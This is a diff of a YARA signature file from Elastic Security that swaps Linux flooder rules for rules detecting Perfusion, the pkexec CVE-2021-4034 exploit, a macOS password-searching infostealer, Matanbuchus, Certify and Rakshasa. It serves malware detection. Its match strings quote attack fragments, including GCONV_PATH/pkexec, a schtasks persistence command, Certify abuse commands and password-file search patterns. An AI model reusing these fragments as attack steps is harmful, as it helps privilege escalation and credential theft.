+		$a4 = "You can terminate your use of the Search Technology and Search Technology services"
+		$a5 = "The software may also offer to change your current web navigation access points"
+		$a6 = "{{BRAND_NAME}} may have various version compatible with different platform,"
+		$a7 = "{{BRAND_NAME}} is a powerful search tool" wide
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_B1Ca2Abd : FILE MEMORY
+rule ELASTIC_Windows_Exploit_Perfusion_5Ab5Ddee : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Exploit Perfusion (Windows.Exploit.Perfusion)"
 		author = "Elastic Security"
-		id = "b1ca2abd-b8ab-435d-85b6-a1c93212e492"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5ab5ddee-e79b-4f1c-bd60-92793f14e490"
+		date = "2024-02-28"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L320-L338"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1d88971f342e4bc4e6615e42080a3b6cec9f84912aa273c36fc46aaf86ff6771"
-		logic_hash = "05b906a9823bf9ba25ba1ed490beb8f338429cbc744ca230c5c4cbb41ab9f140"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_Perfusion.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7fdef25acb0d1447203b9768ae58a8e21db24816c602b160d105dab86ae34728"
+		logic_hash = "490f3fc89cf78dbe82f1feb012a147a8d187612720efb6e1eb4e97720b26ee59"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "214c9dedf34b2c8502c6ef14aff5727ac5a2941e1a8278a48d34fea14d584a1a"
+		fingerprint = "c8d13213b20fc99dd71034ddae986c71f6e89f632655e88d5f9c8be1d72c6231"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C4 48 89 E0 48 83 C0 07 48 C1 E8 03 48 C1 E0 03 48 89 45 B0 C7 45 AC 14 00 }
+		$s1 = "SYSTEM\\CurrentControlSet\\Services\\%ws\\Performance" wide
+		$s2 = "Win32_Perf" wide
+		$s3 = "CollectPerfData" wide
+		$s4 = "%wsperformance_%d_%d_%d.dll" wide
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_Cce8C792 : FILE MEMORY
+rule ELASTIC_Linux_Virus_Rst_1214E2Ae : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Virus Rst (Linux.Virus.Rst)"
 		author = "Elastic Security"
-		id = "cce8c792-ef3e-43c2-b4ad-343de6a69cc7"
-		date = "2021-01-12"
+		id = "1214e2ae-90e4-425e-b47f-0a0981623236"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L340-L358"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ea56da9584fc36dc67cb1e746bd13c95c4d878f9d594e33221baad7e01571ee6"
-		logic_hash = "14700d24e8682ec04f2aae02f5820c4d956db60583b1bc61038b47e709705d0d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Virus_Rst.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b0e4f44d2456960bb6b20cb468c4ca1390338b83774b7af783c3d03e49eebe44"
+		logic_hash = "82de4a97f414d591daba2d5d49b941ec4c51d6a6af36f97f062eaac5c74ebe30"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "03541eb8a293e88c0b8e6509310f8c57f2cd16b5ff76783a73bde2b614b607fc"
+		fingerprint = "a13a9825815a417be991db57f80dac4d0c541e303e4a4e6bd03c46ece73703ea"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105625,23634 +110427,25869 @@ rule ELASTIC_Linux_Hacktool_Flooder_Cce8C792 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 01 48 89 51 08 48 8B 45 A0 8B 55 CC 48 63 D2 48 C1 E2 05 48 }
+		$a = { 00 00 00 53 89 F3 CD 80 5B 58 5F 5E 5A 59 5B C3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_4Bcea1C4 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2021_4034_1C8F235D : FILE CVE_2021_4034
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Exploit Cve 2021 4034 (Linux.Exploit.CVE-2021-4034)"
 		author = "Elastic Security"
-		id = "4bcea1c4-de08-4526-8d31-89c5512f07af"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1c8f235d-1345-4d5f-a5db-427dbbe6fc9a"
+		date = "2022-01-26"
+		modified = "2022-07-22"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L360-L378"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9a564d6b29d2aaff960e6f84cd0ef4c701fefa2a62e2ea690106f3fdbabb0d71"
-		logic_hash = "76019729a3a33fc04ff983f38b4fbf174a66da7ffc05cd07eb93e3cd5aecaaa2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2021_4034.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "94052c42aa41d0911e4b425dcfd6b829cec8f673bf1245af4050ef9c257f6c4b"
+		logic_hash = "217df6687076a715712a053672d7b02567a3ee38ce9c0ccf80d23fcfde35592a"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e859966e8281e024c82dedd5bd237ab53af28a0cb21d24daa456e5cd1186c352"
+		tags = "FILE, CVE-2021-4034"
+		fingerprint = "b145df35499a55e3e920f7701aab3b2f19af9fafbb2e0c1af53cb0b318ad06a6"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 50 FF 48 8B 45 C0 48 01 D0 0F B6 00 3C 0A 74 22 48 8B 45 C0 48 }
+		$s1 = "PATH=GCONV_PATH="
+		$s2 = "pkexec"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_Ab561A1B : FILE MEMORY
+rule ELASTIC_Macos_Infostealer_Mdquerypassw_6125F987 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Macos Infostealer Mdquerypassw (MacOS.Infostealer.MdQueryPassw)"
 		author = "Elastic Security"
-		id = "ab561a1b-d8dd-4768-9b4c-07ef4777b252"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6125f987-b5a4-4999-ab39-ff312a43f6d9"
+		date = "2023-04-11"
+		modified = "2024-08-19"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L380-L398"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1b7df0d491974bead05d04ede6cf763ecac30ecff4d27bb4097c90cc9c3f4155"
-		logic_hash = "5720d2ada4b33514f2d528417876606d2951786df8b0512f9e8833b8ec87127a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Infostealer_MdQueryPassw.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "72e0c1a7507733157f93e2bff82e6ec10d50986020eeeb27a02aba5cd8c78a81"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "081dd5eb061c8023756e413420241e20a2c86097f95859181ca5d6b1d24fdd76"
+		fingerprint = "744e5e82bd90dc75031c2ce8208e9b8d10f062a57666f7e7be9428321f2929cc"
 		severity = 100
-		arch_context = "x86"
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { B5 50 FF FF FF 64 48 8B 04 25 28 00 00 00 48 89 45 C8 31 C0 83 BD 5C FF FF }
+		$string1 = /kMDItemTextContent\s{1,50}==\s{1,50}\S{1,50}passw/ ascii wide nocase
+		$string2 = /kMDItemDisplayName\s{1,50}==\s{1,50}\S{1,50}passw\S{1,50}/ ascii wide nocase
 
 	condition:
-		all of them
+		any of ($string1,$string2)
 }
-rule ELASTIC_Linux_Hacktool_Flooder_1A4Eb229 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Matanbuchus_B521801B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
 		author = "Elastic Security"
-		id = "1a4eb229-a194-46a5-8e93-370a40ba999b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b521801b-5623-4bfe-9a9d-9e16afa63c63"
+		date = "2022-03-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L400-L418"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705"
-		logic_hash = "83b04e366a05a46ad67b9aaf6b9658520e119003cd65941dd69416cbc5229c30"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Matanbuchus.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
+		logic_hash = "609a0941b118d737124a5cd9c98c007e21557a239cfa3cf97cd3b4348c934f03"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE, MEMORY"
-		fingerprint = "de076ef23c2669512efc00ddfe926ef04f8ad939061c69131a0ef9a743639371"
+		fingerprint = "7792cffc82678bb05ba1aa315011317611eb0bf962665e0657a7db2ce95f81b4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F4 8B 45 E8 83 C0 01 89 45 F8 EB 0F 8B 45 E8 83 C0 01 89 45 F4 8B }
+		$a1 = "%PROCESSOR_ARCHITECTURE%" ascii fullword
+		$a2 = "%PROCESSOR_REVISION%\\" ascii fullword
+		$a3 = "%LOCALAPPDATA%\\" ascii fullword
+		$a4 = "\"C:\\Windows\\system32\\schtasks.exe\" /Create /SC MINUTE /MO 1 /TN" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_51Ef0659 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Matanbuchus_4Ce9Affb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
 		author = "Elastic Security"
-		id = "51ef0659-2691-4558-bff8-fce614f10ab9"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4ce9affb-58ef-4d31-b1ff-5a1c52822a01"
+		date = "2022-03-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L420-L438"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b7a2bc75dd9c44c38b2a6e4e7e579142ece92a75b8a3f815940c5aa31470be2b"
-		logic_hash = "26dd95cb1cdaec10d408e294a3baca85d741cf5e56649cdcc79ef7216e4cb440"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Matanbuchus.yar#L24-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
+		logic_hash = "16441eb4617b6b3cb1e7d600959a5cbfe15c72c00361b45551b7ef4c81f78462"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "41f517a19a3c4dc412200b683f4902a656f3dcfdead8b8292e309413577c3850"
+		fingerprint = "61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E0 03 48 89 45 B0 8B 45 9C 48 63 D0 48 83 EA 01 48 89 55 B8 48 }
+		$a1 = { F4 83 7D F4 00 77 43 72 06 83 7D F0 11 73 3B 6A 00 6A 01 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_D90C4Cbe : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Matanbuchus_58A61Aaa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
 		author = "Elastic Security"
-		id = "d90c4cbe-4d0a-4341-a58b-a472b67282d6"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "58a61aaa-51b2-47f2-ab32-2e639957b2d5"
+		date = "2022-03-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L440-L458"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "409c55110d392aed1a9ec98a6598fb8da86ab415534c8754aa48e3949e7c4b62"
-		logic_hash = "145d32f8a06af18e6f13b0905cc51fd7b1a9e00b41b0f0a5d537ada2b54a94b5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Matanbuchus.yar#L44-L62"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
+		logic_hash = "7226e2f61bd6f1cca15c1f3f8d8697cb277d1e214f756295ffda5bc16304cc49"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "64796aa7faa2e945b5c856c1c913cb62175413dc1df88505dececcfbd2878cb1"
+		fingerprint = "332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 D8 F7 D0 5B 5D C3 55 48 89 E5 48 83 EC 40 48 89 7D C8 48 89 }
+		$a1 = { 55 8B EC 83 EC 08 53 56 0F 57 C0 66 0F 13 45 F8 EB ?? 8B 45 F8 83 C0 01 8B 4D FC 83 D1 00 89 45 F8 89 4D FC 8B 55 FC 3B 55 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_C680C9Fd : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Matanbuchus_C7811Ccc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
 		author = "Elastic Security"
-		id = "c680c9fd-34ad-4d92-b8d6-1b511c7c07a3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "c7811ccc-5d8d-4bc8-a630-ac3282bb207e"
+		date = "2022-03-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L460-L478"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ea56da9584fc36dc67cb1e746bd13c95c4d878f9d594e33221baad7e01571ee6"
-		logic_hash = "a283132ffdd109b8b1f01e5a3e2700b70b742945c7ae8b15b2b244fb249a5e3d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Matanbuchus.yar#L64-L82"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
+		logic_hash = "e65dc05f6d9289a42c05afdc4da0ce1c18c1129dd87688a277ece925e83d7ef1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5cb5b36d3ae5525b992a9d395b54429f52b11ea229e0cecbd62317af7b5faf84"
+		fingerprint = "05f209a24d9eb2be7fa50444d8271b6f147027291f55a352ac3af5e9b3207010"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 A0 8B 55 CC 48 63 D2 48 C1 E2 05 48 01 D0 48 8D 48 10 48 8B }
+		$a1 = { 55 8B EC 83 EC 08 53 56 0F 57 C0 66 0F 13 45 F8 EB ?? 8B 45 F8 83 C0 01 8B 4D FC 83 D1 00 89 45 F8 89 4D FC 8B 55 FC 3B 55 10 77 ?? 72 ?? 8B 45 F8 3B 45 0C 73 ?? 6A 00 6A 08 8B 4D FC 51 8B 55 F8 52 E8 ?? ?? ?? ?? 6A 00 6A 08 52 50 E8 ?? ?? ?? ?? 8B C8 8B 45 14 8B 55 18 E8 ?? ?? ?? ?? 0F BE F0 6A 00 6A 01 8B 55 FC 52 8B 45 F8 50 E8 ?? ?? ?? ?? 8B 4D 08 0F BE 1C 01 33 DE 6A 00 6A 01 8B 55 FC 52 8B 45 F8 50 E8 ?? ?? ?? ?? 8B 4D 08 88 1C 01 E9 ?? ?? ?? ?? 5E 5B 8B E5 5D C2 14 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_E63396F4 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Certify_Ffe1Cca2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Hacktool Certify (Windows.Hacktool.Certify)"
 		author = "Elastic Security"
-		id = "e63396f4-a297-4d99-b341-34cb22498078"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "ffe1cca2-106c-4197-9d26-eb90331435d9"
+		date = "2024-03-27"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L480-L498"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "913e6d2538bd7eed3a8f3d958cf445fe11c5c299a70e5385e0df6a9b2f638323"
-		logic_hash = "d3f7c62a7411caf86ee574a686b4b1972066602f89d39ae9e49ba66d9917c7c9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Certify.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3c7f759a6c38d0c0780fba2d43be6dcf9e4869d54b66f16c0703ec8e58124953"
+		logic_hash = "e1d37ad683bfbe34433dc5e13ae2cf7c873fed640e1c58a3b0274b4b34900e53"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "269285d03ea1a3b41ff134ab2cf5e22502626c72401b83add6c1e165f4dd83f8"
+		fingerprint = "69f5648f1a9621fe33e63c150d184cb89ceef472885a928aa501a08d8069234d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 02 83 45 FC 01 81 7D FC FF 0F 00 00 7E ?? 90 }
+		$a1 = "<DisplayNtAuthCertificates>b_"
+		$a2 = "<PrintAllowPermissions>b_"
+		$a3 = "<ShowVulnerableTemplates>b_"
+		$a4 = "<ParseCertificateApplicationPolicies>b_"
+		$a5 = "<PrintCertTemplate>b_"
+		$b1 = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii wide nocase
+		$b2 = "64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97" ascii wide nocase
+		$b3 = "Certify.exe find /vulnerable" wide
+		$b4 = "Certify.exe request /ca" wide
 
 	condition:
-		all of them
+		all of ($a*) or any of ($b*)
 }
-rule ELASTIC_Linux_Hacktool_Flooder_7D5355Da : FILE MEMORY
+rule ELASTIC_Multi_Hacktool_Rakshasa_D5D3Ef21 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Multi Hacktool Rakshasa (Multi.Hacktool.Rakshasa)"
 		author = "Elastic Security"
-		id = "7d5355da-5fbd-46c0-8bd2-33a27cbcca63"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "03397525f90c8c2242058d2f6afc81ceab199c5abcab8fd460fabb6b083d8d20"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L500-L518"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b4540f941ca1a36c460d056ef263ebd67c6388f3f6f373f50371f7cca2739bc4"
+		id = "d5d3ef21-e004-4cb4-8f9f-541e831c8e08"
+		date = "2024-01-24"
+		modified = "2024-01-29"
+		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Hacktool_Rakshasa.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ccfa30a40445d5237aaee1e015ecfcd9bdbe7665a6dc2736b28e5ebf07ec4597"
+		logic_hash = "123cbea0ce02012a9b22a4a241d11aa9acbb58b50a1bd9228da7cadbf0fa1b4e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "52882595f28e1778ee3b0e6bda94319f5c348523f16566833281f19912360270"
-		severity = "100"
+		fingerprint = "bd25f85a419679d2278e2e3951531950296785ac888bc69b513bab0a9936eacf"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a = { 89 E5 48 83 EC 60 64 48 8B 04 25 28 00 00 00 48 89 45 F8 31 C0 BF 0A 00 }
+		$a1 = { 35 B8 00 00 00 48 89 74 24 38 48 89 5C 24 40 48 89 4C 24 48 48 89 54 }
+		$a2 = "rakshasa/server.init.4.func2" ascii fullword
+		$a3 = "type..eq.rakshasa/server.Conn" ascii fullword
+		$a4 = "rakshasa_lite/aes.Str2bytes" ascii fullword
+		$a5 = "rakshasa_lite/server.doShellcode" ascii fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_A9E8A90F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Twistedtinsel_Aa56E527 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Windows Trojan Twistedtinsel (Windows.Trojan.TwistedTinsel)"
 		author = "Elastic Security"
-		id = "a9e8a90f-5d95-4f4e-a9e0-c595be3729dd"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "0558cf8cab0ba1515b3b69ac32975e5e18d754874e7a54d19098e7240ebf44e4"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L520-L538"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8f1fcb736a9363142a25426ef2d166f92526bffaf8069f1b12056c9cf5825379"
+		id = "aa56e527-df1a-4db7-ad89-187dff5e8745"
+		date = "2023-12-06"
+		modified = "2024-01-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_TwistedTinsel.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ef1cbdf9a23ae028a858e1d09529982eaeda61197ae029e091918690d3a86e2e"
+		logic_hash = "de31d0a5560baf6b37897eba3a637b00b539f542a2620983c3407a6898e003c7"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "a06bbcbc09e5e44447b458d302c47e4f18438be8d57687700cb4bf3f3630fba8"
-		severity = "100"
+		fingerprint = "e78a92c34ce7ab5545cd44930839551f72d8b19256d4f3280aad81358233f9eb"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 D8 48 89 45 F0 66 C7 45 EE 00 00 EB 19 48 8B 45 F0 48 8D }
+		$a1 = { 43 3A 5C 50 72 6F 67 72 61 6D 44 61 74 61 5C 4D 69 63 72 6F 73 6F 66 74 5C 45 64 67 65 55 70 64 61 74 65 5C 4C 6F 67 5C 63 68 75 61 6E 67 6B 6F 75 2E 6C 6F 67 }
+		$a2 = { 55 8B EC 83 EC 20 C7 45 EC 01 00 00 00 8B 45 08 8B 48 04 89 4D F4 8B 55 08 8B 02 B9 08 00 00 00 C1 E1 00 8D 54 08 78 89 55 E4 8B 45 E4 83 78 04 00 0F 86 81 01 00 00 8B 4D E4 8B 55 F4 03 11 89 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_A598192A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sfloost_69A5343A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Sfloost (Linux.Trojan.Sfloost)"
 		author = "Elastic Security"
-		id = "a598192a-c804-4c57-9cc3-c2205cb431d3"
-		date = "2021-06-28"
+		id = "69a5343a-4885-4d88-9eaf-ddfcc95e1f39"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "101f2240cd032831b9c0930a68ea6f74688f68ae801c776c71b488e17bc71871"
